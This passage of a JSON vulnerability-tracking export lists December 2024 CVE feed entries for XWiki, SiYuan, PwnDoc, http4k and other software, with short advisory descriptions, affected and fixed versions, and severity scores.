"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55885", "type": "seen", "source": "https://t.me/cvedetector/12813", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55885 - \"Beego MD5 Hashing Weakness\"\", \n  \"Content\": \"CVE ID : CVE-2024-55885 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : beego is an open-source web framework for the Go programming language. Versions of beego prior to 2.3.4 use MD5 as a hashing algorithm. MD5 is no longer considered secure against well-funded opponents due to its vulnerability to collision attacks. Version 2.3.4 replaces MD5 with SHA256. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:13.000000Z"}, {"uuid": "46afb1f4-1b70-42e3-a3a7-00ba98936292", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55878", "type": "seen", "source": "https://t.me/cvedetector/12811", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55878 - SimpleXLSX Arbitrary JavaScript Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55878 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : SimpleXLSX is software for parsing and retrieving data from Excel XLSx files. Starting in version 1.0.12 and prior to version 1.1.12, when calling the extended toHTMLEx method, it is possible to execute arbitrary JavaScript code. Version 1.1.12 fixes the issue. As a workaround, don't use direct publication via toHTMLEx. \nSeverity: 6.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:12.000000Z"}, {"uuid": "c1d3eda0-f220-4a88-b827-47f036d985e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55918", "type": "seen", "source": "https://t.me/cvedetector/12838", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55918 - Apache Graphics ColorNames Perl CSS Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55918 \nPublished : Dec. 13, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : An issue was discovered in the Graphics::ColorNames package before 3.2.0 for Perl. There is an ambiguity between modules and filenames that can lead to HTML injection by an attacker who can create a file in the current working directory. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T09:04:47.000000Z"}, {"uuid": "4685475f-f8bc-4605-be52-3eacbde9faa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55662", "type": "seen", "source": "https://t.me/cvedetector/12799", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55662 - XWiki Platform Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55662 \nPublished : Dec. 12, 2024, 6:15 p.m. | 22\u00a0minutes ago \nDescription : XWiki Platform is a generic wiki platform. Starting in version 3.3-milestone-1 and prior to versions 15.10.9 and 16.3.0, on instances where `Extension Repository Application` is installed, any user can execute any code requiring `programming` rights on the server. This vulnerability has been fixed in XWiki 15.10.9 and 16.3.0. Since `Extension Repository Application` is not mandatory, it can be safely disabled on instances that do not use it as a workaround. It is also possible to manually apply the patches from commit 8659f17d500522bf33595e402391592a35a162e8 to the page `ExtensionCode.ExtensionSheet` and to the page `ExtensionCode.ExtensionAuthorsDisplayer`. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T19:41:34.000000Z"}, {"uuid": "b30810f5-90e3-4228-a486-6ff63ce2aa2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55877", "type": "seen", "source": "https://t.me/cvedetector/12810", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55877 - XWiki Platform Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55877 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : XWiki Platform is a generic wiki platform. Starting in version 9.7-rc-1 and prior to versions 15.10.11, 16.4.1, and 16.5.0, any user with an account can perform arbitrary remote code execution by adding instances of `XWiki.WikiMacroClass` to any page. This compromises the confidentiality, integrity and availability of the whole XWiki installation. This vulnerability has been fixed in XWiki 15.10.11, 16.4.1 and 16.5.0. It is possible to manually apply the patch to the page `XWiki.XWikiSyntaxMacrosList` as a workaround. \nSeverity: 9.9 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:11.000000Z"}, {"uuid": "a9b800ee-d43d-4de8-8a52-faea3681b5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55888", "type": "seen", "source": "https://t.me/cvedetector/12809", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55888 - Hush Line XSS (Miscconfigured Server)\", \n  \"Content\": \"CVE ID : CVE-2024-55888 \nPublished : Dec. 12, 2024, 8:15 p.m. | 42\u00a0minutes ago \nDescription : Hush Line is an open-source whistleblower management system. Starting in version 0.1.0 and prior to version 0.3.5, the productions server appeared to have been misconfigured and missed providing any content security policy or security headers. This could result in bypassing of cross-site scripting filters. Version 0.3.5 fixed the issue. \nSeverity: 7.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T22:12:11.000000Z"}, {"uuid": "bef979ba-1f30-479f-afca-151d43fe17e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55663", "type": "seen", "source": "https://t.me/cvedetector/12807", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55663 - XWiki Platform SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55663 \nPublished : Dec. 12, 2024, 7:15 p.m. | 45\u00a0minutes ago \nDescription : XWiki Platform is a generic wiki platform. Starting in version 11.10.6 and prior to versions 13.10.5 and 14.3-rc-1, in `getdocument.vm`; the ordering of the returned documents is defined from an unsanitized request parameter (request.sort) and can allow any user to inject HQL. Depending on the used database backend, the attacker may be able to not only obtain confidential information such as password hashes from the database, but also execute UPDATE/INSERT/DELETE queries. This has been patched in 13.10.5 and 14.3-rc-1. There is no known workaround, other than upgrading XWiki. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T21:21:58.000000Z"}, {"uuid": "8a9b2781-9a58-46ad-8320-98f9853ecd2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55875", "type": "seen", "source": "https://t.me/cvedetector/12804", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55875 - \"HTTP4K XML External Entity Injection (XXE) Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55875 \nPublished : Dec. 12, 2024, 7:15 p.m. | 45\u00a0minutes ago \nDescription : http4k is a functional toolkit for Kotlin HTTP applications. Prior to version 5.41.0.0, there is a potential XXE (XML External Entity Injection) vulnerability when http4k handling malicious XML contents within requests, which might allow attackers to read local sensitive information on server, trigger Server-side Request Forgery and even execute code under some circumstances. Version 5.41.0.0 contains a patch for the issue. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T21:21:56.000000Z"}, {"uuid": "a2317e89-ce5e-42a3-93b5-a7dfd6f47d2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55876", "type": "seen", "source": "https://t.me/cvedetector/12803", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55876 - XWiki Platform Unprivileged Job Scheduling\", \n  \"Content\": \"CVE ID : CVE-2024-55876 \nPublished : Dec. 12, 2024, 7:15 p.m. | 45\u00a0minutes ago \nDescription : XWiki Platform is a generic wiki platform. Starting in version 1.2-milestone-2 and prior to versions 15.10.9 and 16.3.0, any user with an account on the main wiki could run scheduling operations on subwikis. To reproduce, as a user on the main wiki without any special right, view the document `Scheduler.WebHome` in a subwiki. Then, click on any operation (*e.g.,* Trigger) on any job. If the operation is successful, then the instance is vulnerable. This has been patched in XWiki 15.10.9 and 16.3.0. As a workaround, those who have subwikis where the Job Scheduler is enabled can edit the objects on `Scheduler.WebPreferences` to match the patch. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T21:21:55.000000Z"}, {"uuid": "34f87359-f7d3-4227-99b2-bb9f98a1cb48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55633", "type": "seen", "source": "https://t.me/cvedetector/12794", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55633 - Apache Superset SQLLab Unauthorized Write\", \n  \"Content\": \"CVE ID : CVE-2024-55633 \nPublished : Dec. 12, 2024, 3:15 p.m. | 44\u00a0minutes ago \nDescription : Improper Authorization vulnerability in Apache Superset. On Postgres analytic databases an attacker with SQLLab access can\u00a0craft a specially designed SQL DML statement\u00a0that is Incorrectly identified as a read-only query, enabling its execution. Non postgres analytics database connections and postgres analytics database connections set with a readonly user (advised) are not vulnerable.\u00a0  \n  \nThis issue affects Apache Superset: before 4.1.0.  \n  \nUsers are recommended to upgrade to version 4.1.0, which fixes the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T17:11:01.000000Z"}, {"uuid": "cb152c4c-3a2d-4ed0-96ff-c11d5f4d8df2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55660", "type": "seen", "source": "https://t.me/cvedetector/12675", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55660 - SiYuan SSTI Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55660 \nPublished : Dec. 12, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : SiYuan is a personal knowledge management system. Prior to version 3.1.16, SiYuan's `/api/template/renderSprig` endpoint is vulnerable to Server-Side Template Injection (SSTI) through the Sprig template engine. Although the engine has limitations, it allows attackers to access environment variables. Version 3.1.16 contains a patch for the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T03:46:59.000000Z"}, {"uuid": "2e0e3635-e318-43d1-bdf0-361e99298b75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55655", "type": "seen", "source": "https://t.me/cvedetector/12613", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55655 - Sigstore-python Integration Time Validation Inadequacy Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55655 \nPublished : Dec. 10, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : sigstore-python is a Python tool for generating and verifying Sigstore signatures. Versions of sigstore-python newer than 2.0.0 but prior to 3.6.0 perform insufficient validation of the \"integration time\" present in \"v2\" and \"v3\" bundles during the verification flow: the \"integration time\" is verified *if* a source of signed time (such as an inclusion promise) is present, but is otherwise trusted if no source of signed time is present. This does not affect \"v1\" bundles, as the \"v1\" bundle format always requires an inclusion promise.  \n  \nSigstore uses signed time to support verification of signatures made against short-lived signing keys. The impact and severity of this weakness is *low*, as Sigstore contains multiple other enforcing components that prevent an attacker who modifies the integration timestamp within a bundle from impersonating a valid signature. In particular, an attacker who modifies the integration timestamp can induce a Denial of Service, but in no different manner than already possible with bundle access (e.g. modifying the signature itself such that it fails to verify). Separately, an attacker could upload a *new* entry to the transparency service, and substitute their new entry's time. However, this would still be rejected at validation time, as the new entry's (valid) signed time would be outside the validity window of the original signing certificate and would nonetheless render the attacker auditable. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T01:01:35.000000Z"}, {"uuid": "b0b188ac-cfb2-4e32-930f-ed4be681270c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55658", "type": "seen", "source": "https://t.me/cvedetector/12674", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55658 - SiYuan File Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55658 \nPublished : Dec. 12, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : SiYuan is a personal knowledge management system. Prior to version 3.1.16, SiYuan's /api/export/exportResources endpoint is vulnerable to arbitary file read via path traversal. It is possible to manipulate the paths parameter to access and download arbitrary files from the host system by traversing the workspace directory structure. Version 3.1.16 contains a patch for the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T03:46:58.000000Z"}, {"uuid": "4e54fb55-5939-49b8-9211-d2e1b22cdddf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55657", "type": "seen", "source": "https://t.me/cvedetector/12673", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55657 - SiYuan File Read Vulnerability (Arbitrary File Access)\", \n  \"Content\": \"CVE ID : CVE-2024-55657 \nPublished : Dec. 12, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : SiYuan is a personal knowledge management system. Prior to version 3.1.16, an arbitrary file read vulnerability exists in Siyuan's `/api/template/render` endpoint. The absence of proper validation on the path parameter allows attackers to access sensitive files on the host system. Version 3.1.16 contains a patch for the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T03:46:58.000000Z"}, {"uuid": "3586f5b8-2d7f-4523-a65c-a8da9daebd86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55652", "type": "seen", "source": "https://t.me/cvedetector/12672", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55652 - PenDoc JavaScript Sandbox Escape\", \n  \"Content\": \"CVE ID : CVE-2024-55652 \nPublished : Dec. 12, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : PenDoc is a penetration testing reporting application. Prior to commit 1d4219c596f4f518798492e48386a20c6e9a2fe6, an attacker can write a malicious docx template containing expressions that escape the JavaScript sandbox to execute arbitrary code on the system. An attacker who can control the contents of the template document is able to execute arbitrary code on the system. By default, only users with the `admin` role are able to create or update templates. Commit 1d4219c596f4f518798492e48386a20c6e9a2fe6 patches the issue. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T03:46:57.000000Z"}, {"uuid": "1f6d3dfc-85ae-4fbb-8466-e6f877ef20fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55659", "type": "seen", "source": "https://t.me/cvedetector/12668", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55659 - SiYuan File Upload Remote Code Execution &amp; Stored XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55659 \nPublished : Dec. 12, 2024, 2:15 a.m. | 27\u00a0minutes ago \nDescription : SiYuan is a personal knowledge management system. Prior to version 3.1.16, the `/api/asset/upload` endpoint in Siyuan is vulnerable to both arbitrary file write to the host and stored cross-site scripting (via the file write). Version 3.1.16 contains a patch for the issue. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T03:46:51.000000Z"}, {"uuid": "545786fc-2ce5-425a-9354-ab2328364018", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55653", "type": "seen", "source": "https://t.me/cvedetector/12612", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55653 - PwnDoc Denial of Service\", \n  \"Content\": \"CVE ID : CVE-2024-55653 \nPublished : Dec. 10, 2024, 11:15 p.m. | 39\u00a0minutes ago \nDescription : PwnDoc is a penetration test report generator. In versions up to and including 0.5.3, an authenticated user is able to crash the backend by raising a `UnhandledPromiseRejection` on audits which exits the backend. The user doesn't need to know the audit id, since a bad audit id will also raise the rejection. With the backend being unresponsive, the whole application becomes unusable for all users of the application. As of time of publication, no known patches are available. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T01:01:35.000000Z"}, {"uuid": "1000e798-c81d-4955-86b0-12d94596a0fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55550", "type": "seen", "source": "https://t.me/cvedetector/12538", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55550 - Mitel MiCollab Local File Read Information Disclosurelsa\", \n  \"Content\": \"CVE ID : CVE-2024-55550 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Mitel MiCollab through 9.8 SP2 could allow an authenticated attacker with administrative privilege to conduct a local file read, due to insufficient input sanitization. A successful exploit could allow the authenticated admin attacker to access resources that are constrained to the admin access level, and the disclosure is limited to non-sensitive system information. This vulnerability does not allow file modification or privilege escalation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:25.000000Z"}, {"uuid": "967d47c3-9ae0-44ab-88b0-7d03f3b70560", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55500", "type": "seen", "source": "https://t.me/cvedetector/12536", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55500 - Avenwu Whistle CSRF Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55500 \nPublished : Dec. 10, 2024, 7:15 p.m. | 33\u00a0minutes ago \nDescription : Cross-Site Request Forgery (CSRF) in Avenwu Whistle v.2.9.90 and before allows attackers to perform malicious API calls, resulting in the execution of arbitrary code on the victim's machine. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T20:49:23.000000Z"}, {"uuid": "5960d09f-980b-4059-973e-7fff8e0e0dbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55546", "type": "seen", "source": "https://t.me/cvedetector/12524", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55546 - IAP-420 Web Interface Stored Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-55546 \nPublished : Dec. 10, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : Missing input validation in the ORing IAP-420 web-interface allows stored Cross-Site Scripting (XSS).This issue affects IAP-420 version 2.01e and below. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:08:51.000000Z"}, {"uuid": "98ed59b2-bb1c-4489-8f73-213a9c713fc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55545", "type": "seen", "source": "https://t.me/cvedetector/12523", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55545 - WatchGuard IAP Access Point Web Interface Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55545 \nPublished : Dec. 10, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : Missing input validation in the ORing IAP-420 web-interface allows Cross-Site Scripting (XSS).This issue affects IAP-420 version 2.01e and below. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:08:50.000000Z"}, {"uuid": "7969d520-9285-42f1-b97f-df021ec2219b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55602", "type": "seen", "source": "https://t.me/cvedetector/12522", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55602 - PwnDoc Path Traversal Vulnerability (Arbitrary File Read)\", \n  \"Content\": \"CVE ID : CVE-2024-55602 \nPublished : Dec. 10, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : PwnDoc is a penetration test report generator. Prior to commit 1d4219c596f4f518798492e48386a20c6e9a2fe6, an authenticated user who is able to update and download templates can inject path traversal (`../`) sequences into the file extension property to read arbitrary files on the system. Commit 1d4219c596f4f518798492e48386a20c6e9a2fe6 contains a patch for the issue. \nSeverity: 7.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:08:49.000000Z"}, {"uuid": "73cbeb25-0c24-4d01-81b1-73caf150799c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55548", "type": "seen", "source": "https://t.me/cvedetector/12521", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55548 - IAP-420 Session Takeover Through Password Length Weakness\", \n  \"Content\": \"CVE ID : CVE-2024-55548 \nPublished : Dec. 10, 2024, 5:15 p.m. | 35\u00a0minutes ago \nDescription : Improper check of password character lenght in ORing IAP-420 allows a forced deadlock.\u00a0This issue affects IAP-420: through 2.01e. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"10 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-10T19:08:48.000000Z"}, {"uuid": "f2aec8fd-a93f-49bf-9099-f5fb8f227bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55058", "type": "seen", "source": "https://t.me/cvedetector/13132", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55058 - PHPGurukul Online Birth Certificate System IDOR\", \n  \"Content\": \"CVE ID : CVE-2024-55058 \nPublished : Dec. 17, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : An insecure direct object reference (IDOR) vulnerability was discovered in PHPGurukul Online Birth Certificate System v1.0. This vulnerability resides in the viewid parameter of /user/view-application-detail.php. Authenticated users can exploit this flaw by manipulating the viewid parameter in the URL to access sensitive birth certificate details of other users without proper authorization checks. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"17 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-17T23:28:26.000000Z"}, {"uuid": "647e3d47-a832-4baf-aba3-5ac94f7f763a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-5522", "type": "published-proof-of-concept", "source": "Telegram/DWZh39CCJjwDMNLJQlg32-IJ6bVW7hVgQa93YAxg1LNw0Q", "content": "", "creation_timestamp": "2024-07-09T15:22:47.000000Z"}, {"uuid": "9e851c4d-cc74-4f30-a2a4-abe01c39f763", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55975", "type": "seen", "source": "https://t.me/cvedetector/13193", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55975 - Dr Affiliate SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-55975 \nPublished : Dec. 18, 2024, 12:15 p.m. | 23\u00a0minutes ago \nDescription : Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Rohit Urane Dr Affiliate allows SQL Injection.This issue affects Dr Affiliate: from n/a through 1.2.3. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T13:41:48.000000Z"}, {"uuid": 